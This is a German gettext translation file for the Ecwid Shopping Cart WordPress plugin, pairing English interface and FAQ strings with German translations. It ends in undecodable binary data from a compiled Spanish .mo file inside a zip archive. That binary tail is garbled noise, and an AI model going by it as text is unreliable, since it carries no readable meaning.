href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Wir empfehlen die Verwendung der Plug-ins <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> oder <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast WordPress SEO</a> zur Erstellung einer Sitemap für Ihre WordPress-Website. Diese Plug-ins sind vollständig mit Ecwid kompatibel und ermöglichen die Generierung einer Sitemap, die Links zu Kategorien und Produktseiten enthält, sodass die Shop-Seiten schneller indiziert werden können. Bitte beachten Sie, dass diese Option <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">zahlenden Ecwid-Benutzern</a> zur Verfügung steht." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "Wie kann ich meine Produkte in die Sitemap aufnehmen?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Sie können das Shop-Kategoriemenü zu Ihrem Website-Menü hinzufügen, um Ihren Kunden die Navigation auf Ihrer Website zu erleichtern. Öffnen Sie einfach „Erscheinungsbild > Menüs“ in Ihrem WordPress-Steuermenü und fügen Sie den Punkt „Shop mit Kategoriemenü“ zu Ihrem Website-Menü hinzu. Auf Ihrer Website wird automatisch ein Drop-down-Menü mit Ihren Shop-Kategorien angezeigt." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "Wie füge ich Shop-Kategorien zum Website-Menü hinzu?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "Wie viel kostet Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Sie können ein Produktsuchfeld, ein Warenkorb-Widget und mehr in Ihrer Website-Verwaltung auf der Seite <a href=\"%s\">„Erscheinungsbild > Widgets“</a> hinzufügen. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Weitere Einzelheiten.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "Wie kann ich ein Warenkorb-Widget zur Seitenleiste meiner Website hinzufügen?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Sie können Ihren Onlineshop zu Ihrer Facebook-Geschäftsseite hinzufügen. Hierzu sind keine Add-ons erforderlich. Ecwid synchronisiert automatisch Produkte, Kunden, Bestellungen und Lagerbestände zwischen Ihren WordPress- und Facebook-Schaufenstern. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Weitere Einzelheiten.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "Wie richte ich mit Ecwid ein Schaufenster auf Facebook ein?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid stellt kostenlose Mobile-Apps für iOS und Android zur Verfügung, mit denen Sie Ihren Shop unterwegs verwalten und Produkte verkaufen können. Scannen Sie Produkte, verfolgen Sie den Lagerbestand, verwalten Sie Verkäufe und akzeptieren Sie Zahlungen, indem Sie Ihr Mobilgerät als POS-Station verwenden. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Weitere Einzelheiten.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "Wie kann ich meinen Shop auf einem Mobilgerät verwalten?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid ist PCI-DSS-Level-1-zertifiziert – dies ist der Goldstandard für E-Commerce-Lösungen weltweit. Das bedeutet, dass Sie beim Onlineverkauf mit Ecwid keine Probleme mit der Einhaltung von Bankvorschriften haben. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Weitere Einzelheiten.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "Wie sicher ist dieses Plug-in? Ist mein Shop PCI-DSS-konform?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Ecwid-Menüpunkt" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Hilfe" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "Möchten Sie einen weiteren %s-Shop verbinden?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "Haben Sie noch Fragen?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Shop auf iPhone, iPad oder Android verwalten" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Einrichtung abschließen" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Einrichtung abschließen und mit dem Verkauf beginnen" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "Guten Tag! Ihr %s-Plug-in ist jetzt aktiv." #: templates/debug.php:12 msgid "Download log file" msgstr "Protokolldatei herunterladen" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Mehr anzeigen" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Ich habe ein Problem mit meinem %s-Shop" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Entschuldigung, es gibt ein Problem. Diese Seite soll das Steuermenü Ihres Shops anzeigen. Allerdings scheint diese WordPress-Website nicht in der Lage zu sein, eine Verbindung zum Ecwid-Server herzustellen, um Ihr Shop-Dashboard hier anzuzeigen. Dies ist wahrscheinlich auf eine Fehlkonfiguration Ihres Servers zurückzuführen. Die Situation kann von Ihrem Hostingprovider gelöst werden. Es folgt eine technischere Beschreibung des Problems, die Sie an Ihren Hostingprovider schicken können: „Die WordPress-Funktion wp_remote_post() konnte aufgrund eines Fehlers keine Verbindung zu einem entfernten Server herstellen: ‚%s‘. Es scheint so, als wären HTTP-POST-Anfragen auf diesem Server deaktiviert.“ <br /><br />Bitte zögern Sie nicht, uns unter <a %s>wordpress@ecwid.com</a> zu kontaktieren. Wir helfen Ihnen gerne dabei, sich an Ihren Hostingprovider zu wenden und diesen darum zu bitten, das Problem zu beheben. <br /><br /> In der Zwischenzeit können Sie zur Verwaltung Ihres Shops das Ecwid-Web-Steuermenü unter <a %s>my.ecwid.com</a> verwenden. Ihr Schaufenster funktioniert ebenfalls einwandfrei. Sie können es hier überprüfen: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Shop-Dashboard öffnen" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Shop-Elemente" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Zum Aktivieren des Steuermenüs erneut verbinden" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Verwalten Sie Produkte, verfolgen Sie Verkäufe und passen Sie Einstellungen an – <nobr>all das, ohne</nobr> diese Seite zu verlassen." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Das Steuermenü Ihres Shops. Direkt hier in WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Bestellungen" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Die Oberkategorien des Shops werden automatisch zu diesem Drop-down-Menü hinzugefügt" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Fertig" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Kategorieliste aktualisieren" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Shop-Seite" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Zum Menü hinzufügen" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Alle auswählen" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Shop mit Kategoriemenü" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mein Konto" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Warenkorb" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Produkte" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Verkäufe" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Ein Problem mit dem Shop melden" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "Das Plug-in „%s“ funktioniert nicht besonders gut mit meinem Thema „%s“" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Es scheint so, als würde Ihre Website keine Remote-POST-Anfragen unterstützen, die für die Funktionalität der %s-API erforderlich sind. Bitte kontaktieren Sie Ihren Hostingprovider, um cURL zu aktivieren." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid ist ein kostenloser Warenkorb mit allen erforderlichen Funktionen. Die Lösung kann leicht in jedes WordPress-Blog integriert werden und die Einrichtung dauert nicht einmal 5 Minuten." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Demo-Shop" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "Ihr Shop wird hier angezeigt!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Update" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "In Seite einfügen" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Demo-Shop" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Darüber hinaus können Sie Shop-Steuerelemente zur Toolbar Ihrer Website hinzufügen, indem Sie <a %s>WordPress-native Widgets</a> verwenden" #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Kategorien anzeigen" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mini-Warenkorb anzeigen" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Suche anzeigen" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "Produktkatalog wird automatisch angezeigt" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Widgets zur Anzeige auswählen" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Verbinden Sie Ihren Shop" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Verbinden" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Speichern Sie und verbinden Sie Ihren %s-Shop mit der Website" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Geben Sie hier Ihre Shop-ID ein:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "Die Shop-ID ist eine eindeutige Kennung jedes %1$s-Shops. Sie besteht aus mehreren Ziffern. Sie finden sie auf der „Dashboard“-Seite des %1$s-Steuermenüs. Die Shop-ID wird zudem nach der Registrierung in der Begrüßungs-E-Mail mitgeschickt." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Machen Sie Ihre Shop-ID ausfindig" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "Sie können sich auch über Ihre bestehenden Google-, Facebook- oder PayPal-Profile registrieren." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ich habe bereits ein Konto, anmelden" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Legen Sie ein neues %s-Konto an, mit dem Sie Ihren Shop und Ihren Lagerbestand verwalten können. Die Registrierung ist kostenlos." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "Der erste Schritt zur Eröffnung Ihres Onlinegeschäfts: <br />Legen wir los und fügen wir in <strong>3</strong> einfachen Schritten einen Shop zu Ihrer WordPress-Website hinzu." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Vielen Dank, dass Sie sich für %s zur Einrichtung Ihres Onlineshops entschieden haben" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Steuermenü öffnen" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Ihr %s-Shop ist mit Ihrer WordPress-Website verbunden<br />" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "Guten Tag!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Ihr %s-Shop ist jetzt mit Ihrer WordPress-Website verbunden<br />" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "Glückwunsch!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Verbindung zum Shop trennen" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "Shop-ID" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Verbindungsfehler – Nachdem Sie auf die Schaltfläche geklickt haben, müssen Sie sich anmelden und die entsprechenden Berechtigungen erteilen, um unser Plug-in verwenden zu können. Bitte versuchen Sie es erneut." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Geben Sie Ihre Shop-ID ein" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Standardmäßige Ansicht in den Suchergebnissen" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabelle" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Liste" #: templates/store-popup.php:208 templates/store-popup.php:226 msgid "Grid" msgstr "Gitter" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Standardmäßige Ansicht auf Produktseiten" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Hier können Sie festlegen, wie viele Produkte pro Seite angezeigt werden sollen. Diese Optionen definieren Maximalwerte. Wenn der Platz nicht ausreicht, um alle Produktspalten anzuzeigen, passt %s die Anzahl derselben so an, dass alle Produkte untergebracht werden." #: templates/store-popup.php:169 msgid "Table view" msgstr "Tabellenansicht" #: templates/store-popup.php:152 msgid "List view" msgstr "Listenansicht" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Gitteransicht" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Anzahl der Produkte pro Seite" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Anzahl der Kategorien pro Zeile" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Änderungen speichern" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "Standardmäßige Kategorie-ID" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Shop-Stammkategorie" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Standardmäßig angezeigte Kategorie" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Diese Nachricht nicht erneut anzeigen" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Preis" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Erscheinungsbild bearbeiten" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Shop bearbeiten" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Shop hinzufügen" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Zurück zu den Shop-Einstellungen" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "Ihr Shop ist fast fertig!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Führen Sie ein paar einfache Schritte durch, um die Einrichtung des Shops abzuschließen" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Anzahl der anzuzeigenden Produkte" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Shop-Link-Titel" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Titel" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Sie haben noch kein Produkt angesehen. Öffnen Sie den Shop." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Kürzlich angesehene Produkte" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Zeigt eine Liste der Produkte an, die der Kunde kürzlich betrachtet hat. Er kann auf diese Weise leicht zu jenen Produkten zurückkehren, die er in Ihrem Shop gesehen hat." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Text" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Shop" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Shop-Seiten-Link" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Zeigt einen Link zur Shop-Seite in der Seitenleiste an, damit der Kunde von jeder Seite der Website aus schnell auf Ihren Shop zugreifen kann." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Shop-Kategorien" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Fügt einen vertikalen Kategorieblock hinzu, damit der Kunde in Ihrem Shop stöbern kann." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Produktsuche" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Zeigt ein einfaches Suchfeld an, über das Ihre Kunden ein Produkt in Ihrem Shop finden können" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Fügt ein kompaktes Warenkorb-Widget hinzu, in dem der Kunde jene Produkte sehen kann, die er in den Warenkorb gelegt hat." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Titel:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Warenkorb" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Fügt ein Warenkorb-Widget hinzu, in dem der Kunde jene Produkte sehen kann, die er in den Warenkorb gelegt hat." #: includes/widgets/class-ecwid-widget-badge.php:51 #: includes/widgets/class-ecwid-widget-badge.php:63 msgid "Ecwid e-commerce widgets" msgstr "Ecwid-E-Commerce-Widgets" #: includes/widgets/class-ecwid-widget-badge.php:45 #: includes/widgets/class-ecwid-widget-badge.php:57 msgid "Ecwid shopping cart" msgstr "Ecwid-Warenkorb" #: includes/widgets/class-ecwid-widget-badge.php:39 #: includes/widgets/class-ecwid-widget-badge.php:75 msgid "Ecwid free shopping cart" msgstr "Kostenloser Ecwid-Warenkorb" #: includes/widgets/class-ecwid-widget-badge.php:33 #: includes/widgets/class-ecwid-widget-badge.php:69 msgid "Ecwid ecommerce solution" msgstr "Ecwid-E-Commerce-Lösung" #: includes/widgets/class-ecwid-widget-badge.php:21 #: includes/widgets/class-ecwid-widget-badge.php:27 msgid "Ecwid shopping cart widget" msgstr "Ecwid-Warenkorb-Widget" #: includes/widgets/class-ecwid-widget-badge.php:14 msgid "Ecwid Badge" msgstr "Ecwid-Badge" #: includes/widgets/class-ecwid-widget-badge.php:13 msgid "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid." msgstr "Ihnen gefällt Ecwid und Sie möchten uns helfen, zu wachsen? Dann fügen Sie doch diesen schicken „Powered by Ecwid“-Badge zu Ihrer Website hinzu, um Ihren Besuchern zu zeigen, dass Sie ein stolzer Ecwid-Benutzer sind." #: ecwid-shopping-cart.php:2791 msgid "Recommendations for Your Online Store" msgstr "Empfehlungen für Ihren Onlineshop" #: includes/class-ecwid-admin.php:528 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:77 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:87 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:95 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:103 #: ecwid-shopping-cart.php:2056 msgid "Settings" msgstr "Einstellungen" #: includes/class-ecwid-admin.php:165 msgid "Advanced" msgstr "Fortgeschritten" #: includes/class-ecwid-admin.php:164 msgid "Advanced settings" msgstr "Fortgeschrittene Einstellungen" #: templates/product-popup.php:206 templates/store-popup.php:14 #: templates/store-popup.php:34 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:44 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:78 #: js/gutenberg/blocks.build.js:1 msgid "Appearance" msgstr "Erscheinungsbild" #: includes/class-ecwid-admin.php:28 includes/class-ecwid-admin.php:59 #: includes/class-ecwid-admin.php:459 ecwid-shopping-cart.php:2110 msgid "Dashboard" msgstr "Dashboard" #: includes/class-ecwid-admin.php:57 ecwid-shopping-cart.php:2056 msgid "Setup" msgstr "Einrichtung" #: includes/class-ecwid-admin.php:47 msgid "%s shopping cart settings" msgstr "%s-Warenkorb-Einstellungen" #: includes/class-ecwid-nav-menus.php:132 #: includes/class-ecwid-nav-menus.php:361 #: includes/class-ecwid-nav-menus.php:364 #: includes/class-ecwid-nav-menus.php:372 includes/class-ecwid-admin.php:206 #: includes/class-ecwid-admin.php:207 includes/class-ecwid-admin.php:220 #: includes/class-ecwid-admin.php:221 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:63 #: includes/class-ecwid-admin-storefront-page.php:257 #: ecwid-shopping-cart.php:1657 msgid "Store" msgstr "Shop" #: ecwid-shopping-cart.php:1306 msgid "<a %s>Online store powered by %s</a>" msgstr "<a %s>Onlineshop powered by %s</a>" #: includes/class-ecwid-admin.php:489 msgid "Sell on Facebook" msgstr "Auf Facebook verkaufen" #: templates/admin/simple-dashboard.php:48 ecwid-shopping-cart.php:1094 msgid "Visit storefront" msgstr "Schaufenster besuchen" PK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_AR.monu�„[µü¤��������Þ•����e�����D��5��l&������@3�����A3��H���Y3�����¢3�����³3�����¶3�����¾3�����Ï3�� ���Ø3��.���æ3�� ���4�� ��� 4�����,4�����J4�����e4��ç��4�����g6��B���€6�����Ã6�����à6�����þ6�����7��$���97�����^7�����r7�����‹7��Ñ��� 7��/���r8�� ���¢8�� ���®8�����¸8�����Ï8�����ã8�����ö8�����9��#���%9�� ���I9�����T9�����o9�����~9�� ���ž9�� ���¿9��>���Ë9��"��� :��·���-:�����å:��k���ü:��K���h;��S���´;��A���<��R���J<��G���<��4���å<�� ���=�����&=�����/=��&���A=�����h=��T���{=�� ���Ð=�����Û=�����à=�����÷=�����>�����>�����#>�� ���*>�����8>�����?>�� ���G>�� ���S>�� ���`>�����l>�����>��4���”>�� ���É>�����Ö>�����Þ>�����í>��X���ý>�� ���V?�����`?��/���g?��,���—?�����Ä?�����Ë?�����Ð?�� ���â?�� ���ì?�����÷?�� ���ÿ?����� @�����@�����,@�����A@�����[@�����{@�����“@�����š@�����±@�����¸@�����Í@�����Ü@��.���ë@�����A�����5A��D���LA�����‘A����� A�� ���¯A�� ���ÐA�����ÞA�����ïA�����÷A����� B����� B��x���3B�����¬B�� ���¼B�����ÇB�� ���ÏB�����ðB�����C�����C�����*C�� ���=C�����JC��5���\C��h���’C��¤���ûC����� D�� ���³D�� ���ÀD��5���ÍD�����E�� ���E��x���%E��i���žE�����F�����F�����4F�����QF�����bF�����äF�� ���õF�����ÿF�����G�����$G��"���7G��#���ZG��/���~G�� ���®G�� ���¹G�����ÄG�����ËG�����ÞG�����óG�����H�����H�����-H�����?H��!���WH�����yH�����H��6���£H��!���ÚH�����üH��*���I��%���:I�����`I��'���vI�����žI�����³I��,���ÈI�����õI��q���J��s���yJ��#���íJ��H���K��O���ZK��1���ªK��s���ÜK�� ���PL��¡���\L��v���þL�����uM��$���zM�����ŸM�����±M�����·M�� ���ÓM�����ßM�����ïM����� N��s���N�����‘N�����ªN�����ÃN��=��ÜN��‰���P����¤P����¼Q�����ÜR�����ðR����� S�����S�� ��� S�� ���.S�� ���;S�� ���FS�� ���TS��œ���^S��¢���ûS�����žT�����²T�����ÌT��B���æT��$���)U�����NU�����VU�����mU�� ���€U�����‹U�����¦U�� ���¸U�����ÄU�� ���ÛU��(���æU�����V�� 